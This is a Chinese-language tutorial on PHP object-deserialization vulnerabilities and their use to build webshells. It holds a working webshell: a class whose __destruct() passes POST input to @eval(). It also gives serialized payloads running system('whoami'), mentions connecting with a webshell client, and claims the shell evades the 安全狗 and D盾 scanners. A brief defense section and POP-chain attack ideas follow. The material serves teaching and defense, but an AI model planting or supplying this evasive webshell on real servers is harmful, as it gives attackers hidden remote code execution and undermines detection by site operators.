PHP反序列化漏洞与Webshell
字数 992 2025-08-29 08:32:02
PHP反序列化漏洞与Webshell利用详解
1. PHP序列化与反序列化基础
1.1 序列化概念
PHP序列化是将对象、数组、字符串等数据结构转换为字节流的过程,便于传输或存储。序列化不会保存对象的方法,只保存属性。
class A{
var $test = "demo";
}
$a = new A(); // 生成a对象
$b = serialize($a); // 序列化a对象为b
print_r($b); // 输出:O:1:"A":1:{s:4:"test";s:4:"demo";}
1.2 反序列化概念
反序列化是将序列化后的字节流还原为原始数据结构的过程:
$c = unserialize($b); // 反序列化b对象为c
print_r($c->test); // 输出:demo
2. PHP反序列化漏洞原理
2.1 魔法函数(Magic Methods)
PHP类中的特殊函数,以__开头,在特定情况下自动调用:
__construct(): 对象创建时调用__destruct(): 对象销毁时调用__toString(): 对象被当作字符串使用时调用__sleep(): 序列化前调用__wakeup(): 反序列化后调用
2.2 漏洞产生条件
当反序列化用户可控的数据,且类中存在魔法函数时,可能触发对象注入漏洞:
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
构造payload:
http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}
反序列化后会输出"hello",因为__destruct()被触发。
3. 利用反序列化构造Webshell
3.1 基本Webshell构造
通过控制输入变量,构造序列化对象,在魔法函数中执行恶意代码:
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test."\";}";
$test_unser = unserialize($pp); // 反序列化触发__destruct
3.2 利用方式
-
直接通过POST提交PHP代码:
system('whoami'); -
构造序列化payload:
O:1:"A":1:{s:4:"test";s:17:"system('whoami');";} -
通过菜刀等工具连接
3.3 免杀特性
这种Webshell与正常文件相似,具有较好的免杀效果:
- 安全狗:测试通过
- D盾:测试通过
- 其他安全设备需自行测试
4. 漏洞防御措施
4.1 开发层面
- 避免反序列化用户可控的数据
- 对反序列化数据进行严格过滤
- 使用
json_encode()/json_decode()替代序列化
4.2 安全配置
- 禁用危险函数:
eval(),system(),exec()等 - 配置
open_basedir限制文件访问范围 - 及时更新PHP版本,修复已知漏洞
5. 扩展利用思路
- 结合其他漏洞(如文件上传、SQL注入)作为载体
- 利用其他魔法函数(如
__wakeup()、__toString()) - 构造链式调用(POP链)实现复杂攻击
6. 总结
PHP反序列化漏洞通过精心构造的序列化数据,在反序列化过程中触发魔法函数执行恶意代码,可以用于构造隐蔽性较强的Webshell。防御此类漏洞需要开发者提高安全意识,避免反序列化不可信数据,并做好输入过滤。